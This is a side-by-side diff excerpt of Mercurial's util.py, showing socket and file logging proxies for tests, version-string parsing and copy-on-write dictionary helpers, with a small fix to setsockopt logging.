566 res = super(observedbufferedinputpipe, self)._fillbuffer()
566 res = super(observedbufferedinputpipe, self)._fillbuffer()
567
567
568 fn = getattr(self._input._observer, r'osread', None)
568 fn = getattr(self._input._observer, r'osread', None)
569 if fn:
569 if fn:
570 fn(res, _chunksize)
570 fn(res, _chunksize)
571
571
572 return res
572 return res
573
573
574 # We use different observer methods because the operation isn't
574 # We use different observer methods because the operation isn't
575 # performed on the actual file object but on us.
575 # performed on the actual file object but on us.
576 def read(self, size):
576 def read(self, size):
577 res = super(observedbufferedinputpipe, self).read(size)
577 res = super(observedbufferedinputpipe, self).read(size)
578
578
579 fn = getattr(self._input._observer, r'bufferedread', None)
579 fn = getattr(self._input._observer, r'bufferedread', None)
580 if fn:
580 if fn:
581 fn(res, size)
581 fn(res, size)
582
582
583 return res
583 return res
584
584
585 def readline(self, *args, **kwargs):
585 def readline(self, *args, **kwargs):
586 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
586 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587
587
588 fn = getattr(self._input._observer, r'bufferedreadline', None)
588 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 if fn:
589 if fn:
590 fn(res)
590 fn(res)
591
591
592 return res
592 return res
593
593
594 PROXIED_SOCKET_METHODS = {
594 PROXIED_SOCKET_METHODS = {
595 r'makefile',
595 r'makefile',
596 r'recv',
596 r'recv',
597 r'recvfrom',
597 r'recvfrom',
598 r'recvfrom_into',
598 r'recvfrom_into',
599 r'recv_into',
599 r'recv_into',
600 r'send',
600 r'send',
601 r'sendall',
601 r'sendall',
602 r'sendto',
602 r'sendto',
603 r'setblocking',
603 r'setblocking',
604 r'settimeout',
604 r'settimeout',
605 r'gettimeout',
605 r'gettimeout',
606 r'setsockopt',
606 r'setsockopt',
607 }
607 }
608
608
609 class socketproxy(object):
609 class socketproxy(object):
610 """A proxy around a socket that tells a watcher when events occur.
610 """A proxy around a socket that tells a watcher when events occur.
611
611
612 This is like ``fileobjectproxy`` except for sockets.
612 This is like ``fileobjectproxy`` except for sockets.
613
613
614 This type is intended to only be used for testing purposes. Think hard
614 This type is intended to only be used for testing purposes. Think hard
615 before using it in important code.
615 before using it in important code.
616 """
616 """
617 __slots__ = (
617 __slots__ = (
618 r'_orig',
618 r'_orig',
619 r'_observer',
619 r'_observer',
620 )
620 )
621
621
622 def __init__(self, sock, observer):
622 def __init__(self, sock, observer):
623 object.__setattr__(self, r'_orig', sock)
623 object.__setattr__(self, r'_orig', sock)
624 object.__setattr__(self, r'_observer', observer)
624 object.__setattr__(self, r'_observer', observer)
625
625
626 def __getattribute__(self, name):
626 def __getattribute__(self, name):
627 if name in PROXIED_SOCKET_METHODS:
627 if name in PROXIED_SOCKET_METHODS:
628 return object.__getattribute__(self, name)
628 return object.__getattribute__(self, name)
629
629
630 return getattr(object.__getattribute__(self, r'_orig'), name)
630 return getattr(object.__getattribute__(self, r'_orig'), name)
631
631
632 def __delattr__(self, name):
632 def __delattr__(self, name):
633 return delattr(object.__getattribute__(self, r'_orig'), name)
633 return delattr(object.__getattribute__(self, r'_orig'), name)
634
634
635 def __setattr__(self, name, value):
635 def __setattr__(self, name, value):
636 return setattr(object.__getattribute__(self, r'_orig'), name, value)
636 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637
637
638 def __nonzero__(self):
638 def __nonzero__(self):
639 return bool(object.__getattribute__(self, r'_orig'))
639 return bool(object.__getattribute__(self, r'_orig'))
640
640
641 __bool__ = __nonzero__
641 __bool__ = __nonzero__
642
642
643 def _observedcall(self, name, *args, **kwargs):
643 def _observedcall(self, name, *args, **kwargs):
644 # Call the original object.
644 # Call the original object.
645 orig = object.__getattribute__(self, r'_orig')
645 orig = object.__getattribute__(self, r'_orig')
646 res = getattr(orig, name)(*args, **kwargs)
646 res = getattr(orig, name)(*args, **kwargs)
647
647
648 # Call a method on the observer of the same name with arguments
648 # Call a method on the observer of the same name with arguments
649 # so it can react, log, etc.
649 # so it can react, log, etc.
650 observer = object.__getattribute__(self, r'_observer')
650 observer = object.__getattribute__(self, r'_observer')
651 fn = getattr(observer, name, None)
651 fn = getattr(observer, name, None)
652 if fn:
652 if fn:
653 fn(res, *args, **kwargs)
653 fn(res, *args, **kwargs)
654
654
655 return res
655 return res
656
656
657 def makefile(self, *args, **kwargs):
657 def makefile(self, *args, **kwargs):
658 res = object.__getattribute__(self, r'_observedcall')(
658 res = object.__getattribute__(self, r'_observedcall')(
659 r'makefile', *args, **kwargs)
659 r'makefile', *args, **kwargs)
660
660
661 # The file object may be used for I/O. So we turn it into a
661 # The file object may be used for I/O. So we turn it into a
662 # proxy using our observer.
662 # proxy using our observer.
663 observer = object.__getattribute__(self, r'_observer')
663 observer = object.__getattribute__(self, r'_observer')
664 return makeloggingfileobject(observer.fh, res, observer.name,
664 return makeloggingfileobject(observer.fh, res, observer.name,
665 reads=observer.reads,
665 reads=observer.reads,
666 writes=observer.writes,
666 writes=observer.writes,
667 logdata=observer.logdata,
667 logdata=observer.logdata,
668 logdataapis=observer.logdataapis)
668 logdataapis=observer.logdataapis)
669
669
670 def recv(self, *args, **kwargs):
670 def recv(self, *args, **kwargs):
671 return object.__getattribute__(self, r'_observedcall')(
671 return object.__getattribute__(self, r'_observedcall')(
672 r'recv', *args, **kwargs)
672 r'recv', *args, **kwargs)
673
673
674 def recvfrom(self, *args, **kwargs):
674 def recvfrom(self, *args, **kwargs):
675 return object.__getattribute__(self, r'_observedcall')(
675 return object.__getattribute__(self, r'_observedcall')(
676 r'recvfrom', *args, **kwargs)
676 r'recvfrom', *args, **kwargs)
677
677
678 def recvfrom_into(self, *args, **kwargs):
678 def recvfrom_into(self, *args, **kwargs):
679 return object.__getattribute__(self, r'_observedcall')(
679 return object.__getattribute__(self, r'_observedcall')(
680 r'recvfrom_into', *args, **kwargs)
680 r'recvfrom_into', *args, **kwargs)
681
681
682 def recv_into(self, *args, **kwargs):
682 def recv_into(self, *args, **kwargs):
683 return object.__getattribute__(self, r'_observedcall')(
683 return object.__getattribute__(self, r'_observedcall')(
684 r'recv_info', *args, **kwargs)
684 r'recv_info', *args, **kwargs)
685
685
686 def send(self, *args, **kwargs):
686 def send(self, *args, **kwargs):
687 return object.__getattribute__(self, r'_observedcall')(
687 return object.__getattribute__(self, r'_observedcall')(
688 r'send', *args, **kwargs)
688 r'send', *args, **kwargs)
689
689
690 def sendall(self, *args, **kwargs):
690 def sendall(self, *args, **kwargs):
691 return object.__getattribute__(self, r'_observedcall')(
691 return object.__getattribute__(self, r'_observedcall')(
692 r'sendall', *args, **kwargs)
692 r'sendall', *args, **kwargs)
693
693
694 def sendto(self, *args, **kwargs):
694 def sendto(self, *args, **kwargs):
695 return object.__getattribute__(self, r'_observedcall')(
695 return object.__getattribute__(self, r'_observedcall')(
696 r'sendto', *args, **kwargs)
696 r'sendto', *args, **kwargs)
697
697
698 def setblocking(self, *args, **kwargs):
698 def setblocking(self, *args, **kwargs):
699 return object.__getattribute__(self, r'_observedcall')(
699 return object.__getattribute__(self, r'_observedcall')(
700 r'setblocking', *args, **kwargs)
700 r'setblocking', *args, **kwargs)
701
701
702 def settimeout(self, *args, **kwargs):
702 def settimeout(self, *args, **kwargs):
703 return object.__getattribute__(self, r'_observedcall')(
703 return object.__getattribute__(self, r'_observedcall')(
704 r'settimeout', *args, **kwargs)
704 r'settimeout', *args, **kwargs)
705
705
706 def gettimeout(self, *args, **kwargs):
706 def gettimeout(self, *args, **kwargs):
707 return object.__getattribute__(self, r'_observedcall')(
707 return object.__getattribute__(self, r'_observedcall')(
708 r'gettimeout', *args, **kwargs)
708 r'gettimeout', *args, **kwargs)
709
709
710 def setsockopt(self, *args, **kwargs):
710 def setsockopt(self, *args, **kwargs):
711 return object.__getattribute__(self, r'_observedcall')(
711 return object.__getattribute__(self, r'_observedcall')(
712 r'setsockopt', *args, **kwargs)
712 r'setsockopt', *args, **kwargs)
713
713
714 class baseproxyobserver(object):
714 class baseproxyobserver(object):
715 def _writedata(self, data):
715 def _writedata(self, data):
716 if not self.logdata:
716 if not self.logdata:
717 if self.logdataapis:
717 if self.logdataapis:
718 self.fh.write('\n')
718 self.fh.write('\n')
719 self.fh.flush()
719 self.fh.flush()
720 return
720 return
721
721
722 # Simple case writes all data on a single line.
722 # Simple case writes all data on a single line.
723 if b'\n' not in data:
723 if b'\n' not in data:
724 if self.logdataapis:
724 if self.logdataapis:
725 self.fh.write(': %s\n' % stringutil.escapestr(data))
725 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 else:
726 else:
727 self.fh.write('%s> %s\n'
727 self.fh.write('%s> %s\n'
728 % (self.name, stringutil.escapestr(data)))
728 % (self.name, stringutil.escapestr(data)))
729 self.fh.flush()
729 self.fh.flush()
730 return
730 return
731
731
732 # Data with newlines is written to multiple lines.
732 # Data with newlines is written to multiple lines.
733 if self.logdataapis:
733 if self.logdataapis:
734 self.fh.write(':\n')
734 self.fh.write(':\n')
735
735
736 lines = data.splitlines(True)
736 lines = data.splitlines(True)
737 for line in lines:
737 for line in lines:
738 self.fh.write('%s> %s\n'
738 self.fh.write('%s> %s\n'
739 % (self.name, stringutil.escapestr(line)))
739 % (self.name, stringutil.escapestr(line)))
740 self.fh.flush()
740 self.fh.flush()
741
741
742 class fileobjectobserver(baseproxyobserver):
742 class fileobjectobserver(baseproxyobserver):
743 """Logs file object activity."""
743 """Logs file object activity."""
744 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
744 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 logdataapis=True):
745 logdataapis=True):
746 self.fh = fh
746 self.fh = fh
747 self.name = name
747 self.name = name
748 self.logdata = logdata
748 self.logdata = logdata
749 self.logdataapis = logdataapis
749 self.logdataapis = logdataapis
750 self.reads = reads
750 self.reads = reads
751 self.writes = writes
751 self.writes = writes
752
752
753 def read(self, res, size=-1):
753 def read(self, res, size=-1):
754 if not self.reads:
754 if not self.reads:
755 return
755 return
756 # Python 3 can return None from reads at EOF instead of empty strings.
756 # Python 3 can return None from reads at EOF instead of empty strings.
757 if res is None:
757 if res is None:
758 res = ''
758 res = ''
759
759
760 if size == -1 and res == '':
760 if size == -1 and res == '':
761 # Suppress pointless read(-1) calls that return
761 # Suppress pointless read(-1) calls that return
762 # nothing. These happen _a lot_ on Python 3, and there
762 # nothing. These happen _a lot_ on Python 3, and there
763 # doesn't seem to be a better workaround to have matching
763 # doesn't seem to be a better workaround to have matching
764 # Python 2 and 3 behavior. :(
764 # Python 2 and 3 behavior. :(
765 return
765 return
766
766
767 if self.logdataapis:
767 if self.logdataapis:
768 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
768 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769
769
770 self._writedata(res)
770 self._writedata(res)
771
771
772 def readline(self, res, limit=-1):
772 def readline(self, res, limit=-1):
773 if not self.reads:
773 if not self.reads:
774 return
774 return
775
775
776 if self.logdataapis:
776 if self.logdataapis:
777 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
777 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778
778
779 self._writedata(res)
779 self._writedata(res)
780
780
781 def readinto(self, res, dest):
781 def readinto(self, res, dest):
782 if not self.reads:
782 if not self.reads:
783 return
783 return
784
784
785 if self.logdataapis:
785 if self.logdataapis:
786 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
786 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 res))
787 res))
788
788
789 data = dest[0:res] if res is not None else b''
789 data = dest[0:res] if res is not None else b''
790 self._writedata(data)
790 self._writedata(data)
791
791
792 def write(self, res, data):
792 def write(self, res, data):
793 if not self.writes:
793 if not self.writes:
794 return
794 return
795
795
796 # Python 2 returns None from some write() calls. Python 3 (reasonably)
796 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 # returns the integer bytes written.
797 # returns the integer bytes written.
798 if res is None and data:
798 if res is None and data:
799 res = len(data)
799 res = len(data)
800
800
801 if self.logdataapis:
801 if self.logdataapis:
802 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
802 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803
803
804 self._writedata(data)
804 self._writedata(data)
805
805
806 def flush(self, res):
806 def flush(self, res):
807 if not self.writes:
807 if not self.writes:
808 return
808 return
809
809
810 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
810 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811
811
812 # For observedbufferedinputpipe.
812 # For observedbufferedinputpipe.
813 def bufferedread(self, res, size):
813 def bufferedread(self, res, size):
814 if not self.reads:
814 if not self.reads:
815 return
815 return
816
816
817 if self.logdataapis:
817 if self.logdataapis:
818 self.fh.write('%s> bufferedread(%d) -> %d' % (
818 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 self.name, size, len(res)))
819 self.name, size, len(res)))
820
820
821 self._writedata(res)
821 self._writedata(res)
822
822
823 def bufferedreadline(self, res):
823 def bufferedreadline(self, res):
824 if not self.reads:
824 if not self.reads:
825 return
825 return
826
826
827 if self.logdataapis:
827 if self.logdataapis:
828 self.fh.write('%s> bufferedreadline() -> %d' % (
828 self.fh.write('%s> bufferedreadline() -> %d' % (
829 self.name, len(res)))
829 self.name, len(res)))
830
830
831 self._writedata(res)
831 self._writedata(res)
832
832
833 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
833 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 logdata=False, logdataapis=True):
834 logdata=False, logdataapis=True):
835 """Turn a file object into a logging file object."""
835 """Turn a file object into a logging file object."""
836
836
837 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
837 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 logdata=logdata, logdataapis=logdataapis)
838 logdata=logdata, logdataapis=logdataapis)
839 return fileobjectproxy(fh, observer)
839 return fileobjectproxy(fh, observer)
840
840
841 class socketobserver(baseproxyobserver):
841 class socketobserver(baseproxyobserver):
842 """Logs socket activity."""
842 """Logs socket activity."""
843 def __init__(self, fh, name, reads=True, writes=True, states=True,
843 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 logdata=False, logdataapis=True):
844 logdata=False, logdataapis=True):
845 self.fh = fh
845 self.fh = fh
846 self.name = name
846 self.name = name
847 self.reads = reads
847 self.reads = reads
848 self.writes = writes
848 self.writes = writes
849 self.states = states
849 self.states = states
850 self.logdata = logdata
850 self.logdata = logdata
851 self.logdataapis = logdataapis
851 self.logdataapis = logdataapis
852
852
853 def makefile(self, res, mode=None, bufsize=None):
853 def makefile(self, res, mode=None, bufsize=None):
854 if not self.states:
854 if not self.states:
855 return
855 return
856
856
857 self.fh.write('%s> makefile(%r, %r)\n' % (
857 self.fh.write('%s> makefile(%r, %r)\n' % (
858 self.name, mode, bufsize))
858 self.name, mode, bufsize))
859
859
860 def recv(self, res, size, flags=0):
860 def recv(self, res, size, flags=0):
861 if not self.reads:
861 if not self.reads:
862 return
862 return
863
863
864 if self.logdataapis:
864 if self.logdataapis:
865 self.fh.write('%s> recv(%d, %d) -> %d' % (
865 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 self.name, size, flags, len(res)))
866 self.name, size, flags, len(res)))
867 self._writedata(res)
867 self._writedata(res)
868
868
869 def recvfrom(self, res, size, flags=0):
869 def recvfrom(self, res, size, flags=0):
870 if not self.reads:
870 if not self.reads:
871 return
871 return
872
872
873 if self.logdataapis:
873 if self.logdataapis:
874 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
874 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 self.name, size, flags, len(res[0])))
875 self.name, size, flags, len(res[0])))
876
876
877 self._writedata(res[0])
877 self._writedata(res[0])
878
878
879 def recvfrom_into(self, res, buf, size, flags=0):
879 def recvfrom_into(self, res, buf, size, flags=0):
880 if not self.reads:
880 if not self.reads:
881 return
881 return
882
882
883 if self.logdataapis:
883 if self.logdataapis:
884 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
884 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 self.name, size, flags, res[0]))
885 self.name, size, flags, res[0]))
886
886
887 self._writedata(buf[0:res[0]])
887 self._writedata(buf[0:res[0]])
888
888
889 def recv_into(self, res, buf, size=0, flags=0):
889 def recv_into(self, res, buf, size=0, flags=0):
890 if not self.reads:
890 if not self.reads:
891 return
891 return
892
892
893 if self.logdataapis:
893 if self.logdataapis:
894 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
894 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 self.name, size, flags, res))
895 self.name, size, flags, res))
896
896
897 self._writedata(buf[0:res])
897 self._writedata(buf[0:res])
898
898
899 def send(self, res, data, flags=0):
899 def send(self, res, data, flags=0):
900 if not self.writes:
900 if not self.writes:
901 return
901 return
902
902
903 self.fh.write('%s> send(%d, %d) -> %d' % (
903 self.fh.write('%s> send(%d, %d) -> %d' % (
904 self.name, len(data), flags, len(res)))
904 self.name, len(data), flags, len(res)))
905 self._writedata(data)
905 self._writedata(data)
906
906
907 def sendall(self, res, data, flags=0):
907 def sendall(self, res, data, flags=0):
908 if not self.writes:
908 if not self.writes:
909 return
909 return
910
910
911 if self.logdataapis:
911 if self.logdataapis:
912 # Returns None on success. So don't bother reporting return value.
912 # Returns None on success. So don't bother reporting return value.
913 self.fh.write('%s> sendall(%d, %d)' % (
913 self.fh.write('%s> sendall(%d, %d)' % (
914 self.name, len(data), flags))
914 self.name, len(data), flags))
915
915
916 self._writedata(data)
916 self._writedata(data)
917
917
918 def sendto(self, res, data, flagsoraddress, address=None):
918 def sendto(self, res, data, flagsoraddress, address=None):
919 if not self.writes:
919 if not self.writes:
920 return
920 return
921
921
922 if address:
922 if address:
923 flags = flagsoraddress
923 flags = flagsoraddress
924 else:
924 else:
925 flags = 0
925 flags = 0
926
926
927 if self.logdataapis:
927 if self.logdataapis:
928 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
928 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 self.name, len(data), flags, address, res))
929 self.name, len(data), flags, address, res))
930
930
931 self._writedata(data)
931 self._writedata(data)
932
932
933 def setblocking(self, res, flag):
933 def setblocking(self, res, flag):
934 if not self.states:
934 if not self.states:
935 return
935 return
936
936
937 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
937 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938
938
939 def settimeout(self, res, value):
939 def settimeout(self, res, value):
940 if not self.states:
940 if not self.states:
941 return
941 return
942
942
943 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
943 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944
944
945 def gettimeout(self, res):
945 def gettimeout(self, res):
946 if not self.states:
946 if not self.states:
947 return
947 return
948
948
949 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
949 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950
950
951 def setsockopt(self, level, optname, value):
951 def setsockopt(self, res, level, optname, value):
952 if not self.states:
952 if not self.states:
953 return
953 return
954
954
955 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
955 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 self.name, level, optname, value))
956 self.name, level, optname, value, res))
957
957
958 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
958 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 logdata=False, logdataapis=True):
959 logdata=False, logdataapis=True):
960 """Turn a socket into a logging socket."""
960 """Turn a socket into a logging socket."""
961
961
962 observer = socketobserver(logh, name, reads=reads, writes=writes,
962 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 states=states, logdata=logdata,
963 states=states, logdata=logdata,
964 logdataapis=logdataapis)
964 logdataapis=logdataapis)
965 return socketproxy(fh, observer)
965 return socketproxy(fh, observer)
966
966
967 def version():
967 def version():
968 """Return version information if available."""
968 """Return version information if available."""
969 try:
969 try:
970 from . import __version__
970 from . import __version__
971 return __version__.version
971 return __version__.version
972 except ImportError:
972 except ImportError:
973 return 'unknown'
973 return 'unknown'
974
974
975 def versiontuple(v=None, n=4):
975 def versiontuple(v=None, n=4):
976 """Parses a Mercurial version string into an N-tuple.
976 """Parses a Mercurial version string into an N-tuple.
977
977
978 The version string to be parsed is specified with the ``v`` argument.
978 The version string to be parsed is specified with the ``v`` argument.
979 If it isn't defined, the current Mercurial version string will be parsed.
979 If it isn't defined, the current Mercurial version string will be parsed.
980
980
981 ``n`` can be 2, 3, or 4. Here is how some version strings map to
981 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 returned values:
982 returned values:
983
983
984 >>> v = b'3.6.1+190-df9b73d2d444'
984 >>> v = b'3.6.1+190-df9b73d2d444'
985 >>> versiontuple(v, 2)
985 >>> versiontuple(v, 2)
986 (3, 6)
986 (3, 6)
987 >>> versiontuple(v, 3)
987 >>> versiontuple(v, 3)
988 (3, 6, 1)
988 (3, 6, 1)
989 >>> versiontuple(v, 4)
989 >>> versiontuple(v, 4)
990 (3, 6, 1, '190-df9b73d2d444')
990 (3, 6, 1, '190-df9b73d2d444')
991
991
992 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
992 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 (3, 6, 1, '190-df9b73d2d444+20151118')
993 (3, 6, 1, '190-df9b73d2d444+20151118')
994
994
995 >>> v = b'3.6'
995 >>> v = b'3.6'
996 >>> versiontuple(v, 2)
996 >>> versiontuple(v, 2)
997 (3, 6)
997 (3, 6)
998 >>> versiontuple(v, 3)
998 >>> versiontuple(v, 3)
999 (3, 6, None)
999 (3, 6, None)
1000 >>> versiontuple(v, 4)
1000 >>> versiontuple(v, 4)
1001 (3, 6, None, None)
1001 (3, 6, None, None)
1002
1002
1003 >>> v = b'3.9-rc'
1003 >>> v = b'3.9-rc'
1004 >>> versiontuple(v, 2)
1004 >>> versiontuple(v, 2)
1005 (3, 9)
1005 (3, 9)
1006 >>> versiontuple(v, 3)
1006 >>> versiontuple(v, 3)
1007 (3, 9, None)
1007 (3, 9, None)
1008 >>> versiontuple(v, 4)
1008 >>> versiontuple(v, 4)
1009 (3, 9, None, 'rc')
1009 (3, 9, None, 'rc')
1010
1010
1011 >>> v = b'3.9-rc+2-02a8fea4289b'
1011 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 >>> versiontuple(v, 2)
1012 >>> versiontuple(v, 2)
1013 (3, 9)
1013 (3, 9)
1014 >>> versiontuple(v, 3)
1014 >>> versiontuple(v, 3)
1015 (3, 9, None)
1015 (3, 9, None)
1016 >>> versiontuple(v, 4)
1016 >>> versiontuple(v, 4)
1017 (3, 9, None, 'rc+2-02a8fea4289b')
1017 (3, 9, None, 'rc+2-02a8fea4289b')
1018
1018
1019 >>> versiontuple(b'4.6rc0')
1019 >>> versiontuple(b'4.6rc0')
1020 (4, 6, None, 'rc0')
1020 (4, 6, None, 'rc0')
1021 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1021 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 (4, 6, None, 'rc0+12-425d55e54f98')
1022 (4, 6, None, 'rc0+12-425d55e54f98')
1023 >>> versiontuple(b'.1.2.3')
1023 >>> versiontuple(b'.1.2.3')
1024 (None, None, None, '.1.2.3')
1024 (None, None, None, '.1.2.3')
1025 >>> versiontuple(b'12.34..5')
1025 >>> versiontuple(b'12.34..5')
1026 (12, 34, None, '..5')
1026 (12, 34, None, '..5')
1027 >>> versiontuple(b'1.2.3.4.5.6')
1027 >>> versiontuple(b'1.2.3.4.5.6')
1028 (1, 2, 3, '.4.5.6')
1028 (1, 2, 3, '.4.5.6')
1029 """
1029 """
1030 if not v:
1030 if not v:
1031 v = version()
1031 v = version()
1032 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1032 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 if not m:
1033 if not m:
1034 vparts, extra = '', v
1034 vparts, extra = '', v
1035 elif m.group(2):
1035 elif m.group(2):
1036 vparts, extra = m.groups()
1036 vparts, extra = m.groups()
1037 else:
1037 else:
1038 vparts, extra = m.group(1), None
1038 vparts, extra = m.group(1), None
1039
1039
1040 vints = []
1040 vints = []
1041 for i in vparts.split('.'):
1041 for i in vparts.split('.'):
1042 try:
1042 try:
1043 vints.append(int(i))
1043 vints.append(int(i))
1044 except ValueError:
1044 except ValueError:
1045 break
1045 break
1046 # (3, 6) -> (3, 6, None)
1046 # (3, 6) -> (3, 6, None)
1047 while len(vints) < 3:
1047 while len(vints) < 3:
1048 vints.append(None)
1048 vints.append(None)
1049
1049
1050 if n == 2:
1050 if n == 2:
1051 return (vints[0], vints[1])
1051 return (vints[0], vints[1])
1052 if n == 3:
1052 if n == 3:
1053 return (vints[0], vints[1], vints[2])
1053 return (vints[0], vints[1], vints[2])
1054 if n == 4:
1054 if n == 4:
1055 return (vints[0], vints[1], vints[2], extra)
1055 return (vints[0], vints[1], vints[2], extra)
1056
1056
1057 def cachefunc(func):
1057 def cachefunc(func):
1058 '''cache the result of function calls'''
1058 '''cache the result of function calls'''
1059 # XXX doesn't handle keywords args
1059 # XXX doesn't handle keywords args
1060 if func.__code__.co_argcount == 0:
1060 if func.__code__.co_argcount == 0:
1061 cache = []
1061 cache = []
1062 def f():
1062 def f():
1063 if len(cache) == 0:
1063 if len(cache) == 0:
1064 cache.append(func())
1064 cache.append(func())
1065 return cache[0]
1065 return cache[0]
1066 return f
1066 return f
1067 cache = {}
1067 cache = {}
1068 if func.__code__.co_argcount == 1:
1068 if func.__code__.co_argcount == 1:
1069 # we gain a small amount of time because
1069 # we gain a small amount of time because
1070 # we don't need to pack/unpack the list
1070 # we don't need to pack/unpack the list
1071 def f(arg):
1071 def f(arg):
1072 if arg not in cache:
1072 if arg not in cache:
1073 cache[arg] = func(arg)
1073 cache[arg] = func(arg)
1074 return cache[arg]
1074 return cache[arg]
1075 else:
1075 else:
1076 def f(*args):
1076 def f(*args):
1077 if args not in cache:
1077 if args not in cache:
1078 cache[args] = func(*args)
1078 cache[args] = func(*args)
1079 return cache[args]
1079 return cache[args]
1080
1080
1081 return f
1081 return f
1082
1082
1083 class cow(object):
1083 class cow(object):
1084 """helper class to make copy-on-write easier
1084 """helper class to make copy-on-write easier
1085
1085
1086 Call preparewrite before doing any writes.
1086 Call preparewrite before doing any writes.
1087 """
1087 """
1088
1088
1089 def preparewrite(self):
1089 def preparewrite(self):
1090 """call this before writes, return self or a copied new object"""
1090 """call this before writes, return self or a copied new object"""
1091 if getattr(self, '_copied', 0):
1091 if getattr(self, '_copied', 0):
1092 self._copied -= 1
1092 self._copied -= 1
1093 return self.__class__(self)
1093 return self.__class__(self)
1094 return self
1094 return self
1095
1095
1096 def copy(self):
1096 def copy(self):
1097 """always do a cheap copy"""
1097 """always do a cheap copy"""
1098 self._copied = getattr(self, '_copied', 0) + 1
1098 self._copied = getattr(self, '_copied', 0) + 1
1099 return self
1099 return self
1100
1100
1101 class sortdict(collections.OrderedDict):
1101 class sortdict(collections.OrderedDict):
1102 '''a simple sorted dictionary
1102 '''a simple sorted dictionary
1103
1103
1104 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1104 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 >>> d2 = d1.copy()
1105 >>> d2 = d1.copy()
1106 >>> d2
1106 >>> d2
1107 sortdict([('a', 0), ('b', 1)])
1107 sortdict([('a', 0), ('b', 1)])
1108 >>> d2.update([(b'a', 2)])
1108 >>> d2.update([(b'a', 2)])
1109 >>> list(d2.keys()) # should still be in last-set order
1109 >>> list(d2.keys()) # should still be in last-set order
1110 ['b', 'a']
1110 ['b', 'a']
1111 '''
1111 '''
1112
1112
1113 def __setitem__(self, key, value):
1113 def __setitem__(self, key, value):
1114 if key in self:
1114 if key in self:
1115 del self[key]
1115 del self[key]
1116 super(sortdict, self).__setitem__(key, value)
1116 super(sortdict, self).__setitem__(key, value)
1117
1117
1118 if pycompat.ispypy:
1118 if pycompat.ispypy:
1119 # __setitem__() isn't called as of PyPy 5.8.0
1119 # __setitem__() isn't called as of PyPy 5.8.0
1120 def update(self, src):
1120 def update(self, src):
1121 if isinstance(src, dict):
1121 if isinstance(src, dict):
1122 src = src.iteritems()
1122 src = src.iteritems()
1123 for k, v in src:
1123 for k, v in src:
1124 self[k] = v
1124 self[k] = v
1125
1125
1126 class cowdict(cow, dict):
1126 class cowdict(cow, dict):
1127 """copy-on-write dict
1127 """copy-on-write dict
1128
1128
1129 Be sure to call d = d.preparewrite() before writing to d.
1129 Be sure to call d = d.preparewrite() before writing to d.
1130
1130
1131 >>> a = cowdict()
1131 >>> a = cowdict()
1132 >>> a is a.preparewrite()
1132 >>> a is a.preparewrite()
1133 True
1133 True
1134 >>> b = a.copy()
1134 >>> b = a.copy()
1135 >>> b is a
1135 >>> b is a
1136 True
1136 True
1137 >>> c = b.copy()
1137 >>> c = b.copy()
1138 >>> c is a
1138 >>> c is a
1139 True
1139 True
1140 >>> a = a.preparewrite()
1140 >>> a = a.preparewrite()
1141 >>> b is a
1141 >>> b is a
1142 False
1142 False
1143 >>> a is a.preparewrite()
1143 >>> a is a.preparewrite()
1144 True
1144 True
1145 >>> c = c.preparewrite()
1145 >>> c = c.preparewrite()
1146 >>> b is c
1146 >>> b is c
1147 False
1147 False
1148 >>> b is b.preparewrite()
1148 >>> b is b.preparewrite()
1149 True
1149 True
1150 """
1150 """
1151
1151
1152 class cowsortdict(cow, sortdict):
1152 class cowsortdict(cow, sortdict):
1153 """copy-on-write sortdict
1153 """copy-on-write sortdict
1154
1154
